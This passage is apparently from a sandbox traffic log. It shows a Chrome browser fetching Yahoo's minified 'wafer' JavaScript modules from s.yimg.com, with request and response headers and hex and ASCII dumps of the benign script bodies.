Data Ascii: r l=window.wafer,u=l.features,f=l.utils,d=f.findAncestor,h=f.getUrlParameterValueByName,v=f.loadCSSSync,w=f.loadScriptAsync,p=/^https:\/\/s.yimg.com\/(os\|aaq)\/c/,m=function(e,t,a){var r=new RegExp("([?&])"+t+"=.*?(&\|$)","i"),i=-1!==e.indexOf("?")?"&":"?"
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 69 29 3a 22 63 73 73 22 3d 3d 3d 61 26 26 28 77 69 6e 64 6f 77 2e 5f 5f 63 61 61 73 4d 6f 64 75 6c 65 73 5b 69 5d 3f 28 6f 3d 21 30 2c 6e 26 26 72 28 29 29 3a 28 77 69 6e 64 6f 77 2e 5f 5f 63 61 61 73 4d 6f 64 75 6c 65 73 5b 69 5d 3d 21 30 2c 76 28 7b 73 72 63 3a 73 2c 74 65 78 74 3a 74 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 3d 21 30 2c 6e 26 26 72 28 29 7d 29 29 29 29 7d 29 7d 29 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 5b 5d 2c 61 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2e 63 6f 6c 6f 72 53 63 68 65 6d 61 3b 75 2e 69 73 50 57 41 26 26 74 2e 70 75 73 68 28 22 70 77 61 22 29 2c 61 26 26 74 2e 70 75 73 68 28 22 64 61 72 6b 6d 6f 64 65 22 29 3b 76 61 72 20 72 3d 74 2e 6a 6f 69 6e 28 22 2c 22 29 3b 69 66 28 72 29 7b Data Ascii: i):"css"===a&&(window.__caasModules[i]?(o=!0,n&&r()):(window.__caasModules[i]=!0,v({src:s,text:t},function(){o=!0,n&&r()}))))})})},_=function(e){var t=[],a=window.wafer.base.colorSchema;u.isPWA&&t.push("pwa"),a&&t.push("darkmode");var r=t.join(",");if(r){
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 29 2c 6b 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 61 2c 72 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 61 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 69 29 7b 76 61 72 20 73 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 73 3f 76 6f 69 64 20 30 3a 65 28 73 2c 61 2c 72 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 69 29 72 65 74 75 72 6e 20 69 2e 76 61 6c 75 65 3b 76 61 72 20 6e 3d 69 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 72 29 7d 2c 50 3d 77 69 Data Ascii: (),k=function e(t,a,r){null===t&&(t=Function.prototype);var i=Object.getOwnPropertyDescriptor(t,a);if(void 0===i){var s=Object.getPrototypeOf(t);return null===s?void 0:e(s,a,r)}if("value"in i)return i.value;var n=i.get;if(void 0!==n)return n.call(r)},P=wi
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2b 22 63 61 61 73 2d 74 79 70 65 22 29 7c 7c 22 64 65 66 61 75 6c 74 22 2c 62 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4e 2b 22 63 61 61 73 2d 77 72 61 70 70 65 72 22 29 2c 45 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4e 2b 22 63 61 61 73 2d 64 65 70 65 6e 64 65 6e 63 79 22 29 2c 6b 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4e 2b 22 63 61 61 73 2d 68 61 73 2d 72 69 67 68 74 72 61 69 6c 2d 61 64 73 22 29 2c 50 3d 45 26 26 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 45 29 2c 53 3d 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4e 2b 22 63 61 61 73 2d 74 72 69 67 67 65 72 2d 6f 66 66 73 65 74 22 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 4f 3d 43 28 53 2c 32 29 2c 52 3d 4f 5b 30 5d 2c 49 3d 4f 5b 31 5d Data Ascii: +"caas-type")\|\|"default",b=e.getAttribute(N+"caas-wrapper"),E=e.getAttribute(N+"caas-dependency"),k=e.getAttribute(N+"caas-has-rightrail-ads"),P=E&&document.querySelector(E),S=(e.getAttribute(N+"caas-trigger-offset")\|\|"").split(" "),O=C(S,2),R=O[0],I=O[1]
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 72 20 57 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 4e 2b 22 63 61 61 73 2d 73 65 63 6f 6e 64 2d 6e 6f 64 65 22 29 2c 4d 3d 57 26 26 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 57 29 3b 4d 26 26 28 6c 2e 5f 75 74 69 6c 2e 73 65 63 6f 6e 64 4e 6f 64 65 3d 4d 29 7d 65 6c 73 65 22 72 65 6e 64 65 72 65 64 41 72 74 69 63 6c 65 22 3d 3d 3d 5f 26 26 7a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 77 61 66 65 72 2d 63 61 61 73 2d 64 61 74 61 22 29 5b 30 5d 2c 61 3d 74 26 26 78 28 74 29 3b 6c 2e 68 61 6e 64 6c 65 52 65 6e 64 65 72 65 64 41 72 74 69 63 6c 65 28 61 29 7d 2c 30 2c 6c 29 3b 72 65 74 75 72 6e 20 6c 7d 72 65 74 75 72 6e 20 73 28 74 2c Data Ascii: r W=e.getAttribute(N+"caas-second-node"),M=W&&document.getElementById(W);M&&(l._util.secondNode=M)}else"renderedArticle"===_&&z(function(){var t=e.getElementsByClassName("wafer-caas-data")[0],a=t&&x(t);l.handleRenderedArticle(a)},0,l);return l}return s(t,
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 22 73 2e 79 69 6d 67 2e 63 6f 6d 22 29 26 26 28 73 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 69 6e 63 6c 75 64 65 22 29 2c 22 73 69 64 65 6b 69 63 6b 22 3d 3d 3d 70 29 7b 76 61 72 20 6f 3d 4d 28 22 75 75 69 64 22 2c 74 29 3b 69 66 28 6f 29 7b 76 61 72 20 63 3d 6f 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 3b 63 26 26 28 6e 3d 21 31 2c 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 63 61 61 73 2e 67 65 74 44 61 74 61 28 5b 63 5d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 5b 5d 2c 69 3d 43 28 61 2c 31 29 2c 6e 3d 69 5b 30 5d 2c 6f 3d 6e 7c 7c 7b 7d 2c 63 3d 6f 2e 61 64 4d Data Ascii: ("s.yimg.com")&&(s.credentials="include"),"sidekick"===p){var o=M("uuid",t);if(o){var c=o.split(",")[0];c&&(n=!1,window.wafer.caas.getData([c]).then(function(){var a=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],i=C(a,1),n=i[0],o=n\|\|{},c=o.adM
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 22 64 69 76 22 29 3b 43 2e 69 6e 6e 65 72 48 54 4d 4c 3d 66 2c 45 2e 69 6e 6e 65 72 48 54 4d 4c 3d 66 3b 66 6f 72 28 76 61 72 20 6b 3d 4c 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 73 69 64 65 6b 69 63 6b 2d 69 74 65 6d 22 29 29 2c 50 3d 6b 2e 6c 65 6e 67 74 68 2c 4f 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 50 2f 32 29 2b 20 2b 21 41 2c 52 3d 4f 3b 52 3c 50 3b 52 2b 2b 29 7b 76 61 72 20 49 3d 6b 5b 52 5d 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 49 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 49 29 7d 54 28 76 2c 43 2e 69 6e 6e 65 72 48 54 4d 4c 29 3b 66 6f 72 28 76 61 72 20 4e 3d 4c 28 45 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 73 69 64 65 6b 69 63 6b 2d 69 74 65 Data Ascii: ("div");C.innerHTML=f,E.innerHTML=f;for(var k=L(C.getElementsByClassName("sidekick-item")),P=k.length,O=Math.round(P/2)+ +!A,R=O;R<P;R++){var I=k[R].parentNode;I.parentNode.removeChild(I)}T(v,C.innerHTML);for(var N=L(E.getElementsByClassName("sidekick-ite
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 76 65 6e 74 28 22 63 61 61 73 3a 73 69 64 65 6b 69 63 6b 3a 65 72 72 6f 72 22 2c 7b 65 6c 65 6d 3a 69 2c 6d 65 74 61 3a 7b 75 72 6c 3a 72 7d 7d 29 3b 53 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 63 61 61 73 3a 73 69 64 65 6b 69 63 6b 3a 69 6e 69 74 22 2c 7b 65 6c 65 6d 3a 69 2c 6d 65 74 61 3a 7b 75 72 6c 3a 72 7d 7d 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 31 2c 53 2e 73 79 6e 63 28 65 29 2c 73 26 26 53 2e 73 79 6e 63 28 73 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 6e 64 65 72 65 64 41 72 74 69 63 6c 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 61 3d 74 5b 22 63 61 61 73 2d 75 75 69 64 22 5d 2c 72 3d 74 2e 65 6c 65 6d 2c 69 3d 74 2e 73 75 63 63 Data Ascii: vent("caas:sidekick:error",{elem:i,meta:{url:r}});S.emitWaferEvent("caas:sidekick:init",{elem:i,meta:{url:r}}),this._state.status=1,S.sync(e),s&&S.sync(s)}},{key:"handleRenderedArticle",value:function(e){var t=this._util,a=t["caas-uuid"],r=t.elem,i=t.succ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49830	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	540	OUT	GET /aaq/wf/wf-toggle-1.15.4-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: 8hxnYN8YcdbURFDfC4EPd915PW9ovf9EhcFpmDsYujSR5UHmfpsWne4dLz8MwdCXmQlsh43IVPk= x-amz-request-id: 208K7J8Y7WD42Z6B Date: Wed, 10 Jan 2024 23:27:11 GMT Last-Modified: Wed, 20 Apr 2022 09:12:23 GMT ETag: "9ec69a2055c595f415eade096a476b0d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: HE26GDjTNsmXBUPJeKnrarkIBLKe8tee Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 12433 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-toggle",[],t):"object"==typeof exports?exports["wafer-toggle"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 Data Ascii: prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e Data Ascii: s[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},f=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 6b 2b 22 74 6f 67 67 6c 65 2d 63 6c 61 73 73 22 29 7c 7c 22 22 2c 75 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 70 72 65 76 65 6e 74 2d 62 72 6f 77 73 65 72 2d 64 65 66 61 75 6c 74 2d 62 65 68 61 76 69 6f 72 22 29 2c 6c 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 70 72 65 76 65 6e 74 2d 73 63 72 6f 6c 6c 22 29 2c 66 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 73 79 6e 63 2d 64 65 6c 61 79 22 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 74 61 72 67 65 74 22 29 2c 76 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 62 6f 75 6e 64 61 72 79 22 29 2c 68 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b Data Ascii: (k+"toggle-class")\|\|"",u=e.getAttribute(k+"toggle-prevent-browser-default-behavior"),l=e.getAttribute(k+"toggle-prevent-scroll"),f=e.getAttribute(k+"sync-delay"),d=e.getAttribute(k+"toggle-target"),v=e.getAttribute(k+"toggle-boundary"),h=e.getAttribute(k+
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 26 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 6f 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 65 6c 65 6d 2c 72 3d 65 2e 65 76 65 6e 74 73 3b 69 66 28 30 21 3d 3d 72 2e 73 69 7a 65 29 7b 76 61 72 20 6e 3d 21 30 2c 6f 3d 21 31 2c 69 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 61 2c 73 3d 72 2e 6b 65 79 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 6e 3d 28 61 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 6e 3d 21 30 29 7b 76 61 72 20 75 3d 61 2e 76 61 6c 75 65 2c 6c 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e Data Ascii: &r.setAttribute("aria-controls",o)}},{key:"addEventListeners",value:function(){var e=this._util,t=e.elem,r=e.events;if(0!==r.size){var n=!0,o=!1,i=void 0;try{for(var a,s=r.keys()[Symbol.iterator]();!(n=(a=s.next()).done);n=!0){var u=a.value,l=this._state.
2024-01-10 23:27:10 UTC	438	IN	Data Raw: 6e 4c 6f 61 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 63 65 73 73 54 61 72 67 65 74 73 28 22 6f 6e 4c 6f 61 64 22 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 63 65 73 73 54 61 72 67 65 74 73 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 45 6e 74 65 72 44 65 6c 61 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 63 6c 69 63 6b 41 6e 64 4d 6f 75 73 65 45 78 69 74 54 69 6d 65 6f 75 74 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: nLoad",value:function(){this.processTargets("onLoad")}},{key:"mouseenter",value:function(){this.processTargets("mouseenter")}},{key:"mouseEnterDelay",value:function(){clearTimeout(this._state.clickAndMouseExitTimeout)}},{key:"mouseleave",value:function(){
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 68 69 73 2e 5f 75 74 69 6c 2e 64 65 6c 61 79 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 63 6c 69 63 6b 41 6e 64 4d 6f 75 73 65 45 78 69 74 54 69 6d 65 6f 75 74 3d 77 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 6f 63 65 73 73 54 61 72 67 65 74 73 28 22 63 6c 69 63 6b 41 6e 64 4d 6f 75 73 65 45 78 69 74 22 29 7d 2c 74 2c 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 74 6f 75 63 68 73 74 61 72 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 64 72 61 67 2c 72 3d 65 2e 74 6f 75 63 68 65 73 5b 30 5d 2c 6e 3d 72 2e 63 6c 69 65 6e 74 59 2c 6f 3d 72 2e 70 61 67 65 58 3b 74 2e 73 74 61 72 74 58 3d 6f 2c 74 2e 73 74 61 72 74 59 3d 6e 7d 7d 2c 7b 6b 65 79 3a 22 74 6f 75 63 68 65 6e 64 22 2c 76 61 6c 75 65 Data Ascii: his._util.delay;this._state.clickAndMouseExitTimeout=w(function(){e.processTargets("clickAndMouseExit")},t,this)}},{key:"touchstart",value:function(e){var t=this._util.drag,r=e.touches[0],n=r.clientY,o=r.pageX;t.startX=o,t.startY=n}},{key:"touchend",value
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 6c 61 79 3b 69 66 28 72 2e 63 6c 61 73 73 4c 69 73 74 5b 6f 5d 28 69 29 2c 28 61 7c 7c 73 29 26 26 77 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 5b 61 3f 22 73 79 6e 63 22 3a 22 73 79 6e 63 55 49 22 5d 28 72 29 7d 2c 79 2c 74 68 69 73 29 2c 68 29 7b 76 61 72 20 70 3d 76 6f 69 64 20 30 3b 76 26 26 28 70 3d 7b 70 72 65 76 65 6e 74 53 63 72 6f 6c 6c 3a 21 30 7d 29 2c 77 28 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 66 6f 63 75 73 28 70 29 2c 64 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 26 26 28 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 49 6e 64 65 78 22 2c 22 2d 31 22 29 2c 64 2e 66 6f 63 75 73 28 70 29 29 7d 2c 35 29 7d 6c 26 26 28 22 74 72 75 65 22 3d 3d 3d 66 2e 67 Data Ascii: elay;if(r.classList[o](i),(a\|\|s)&&w(function(){window.wafer.base[a?"sync":"syncUI"](r)},y,this),h){var p=void 0;v&&(p={preventScroll:!0}),w(function(){d.focus(p),d!==document.activeElement&&(d.setAttribute("tabIndex","-1"),d.focus(p))},5)}l&&("true"===f.g
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 29 2c 79 3d 21 31 3b 69 66 28 76 26 26 28 79 3d 2d 31 21 3d 3d 69 2e 69 6e 64 65 78 4f 66 28 22 57 69 74 68 53 79 6e 63 55 49 22 29 29 26 26 28 76 3d 21 31 29 2c 22 72 65 6d 6f 76 65 46 72 6f 6d 4f 74 68 65 72 73 22 3d 3d 3d 66 29 6d 28 28 61 7c 7c 64 6f 63 75 6d 65 6e 74 29 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 75 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 21 3d 3d 72 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 75 29 7d 29 3b 65 6c 73 65 20 69 66 28 63 5b 66 5d 29 7b 76 61 72 20 70 3d 63 2e 63 6f 6e 74 61 69 6e 73 28 75 29 3b 74 2e 64 69 64 43 6f 6d 70 6c 65 74 65 28 6e 75 6c 6c 29 2c 28 22 74 6f 67 67 6c 65 22 3d 3d 3d 66 7c 7c 22 72 65 6d 6f 76 65 22 3d 3d 3d 66 26 26 70 Data Ascii: ),y=!1;if(v&&(y=-1!==i.indexOf("WithSyncUI"))&&(v=!1),"removeFromOthers"===f)m((a\|\|document).getElementsByClassName(u)).forEach(function(e){e!==r&&e.classList.remove(u)});else if(c[f]){var p=c.contains(u);t.didComplete(null),("toggle"===f\|\|"remove"===f&&p
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 72 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 72 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 6a 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 72 2c 6e 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f Data Ascii: e=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),j=function e(t,r,n){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescripto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49832	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	589	OUT	GET /aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
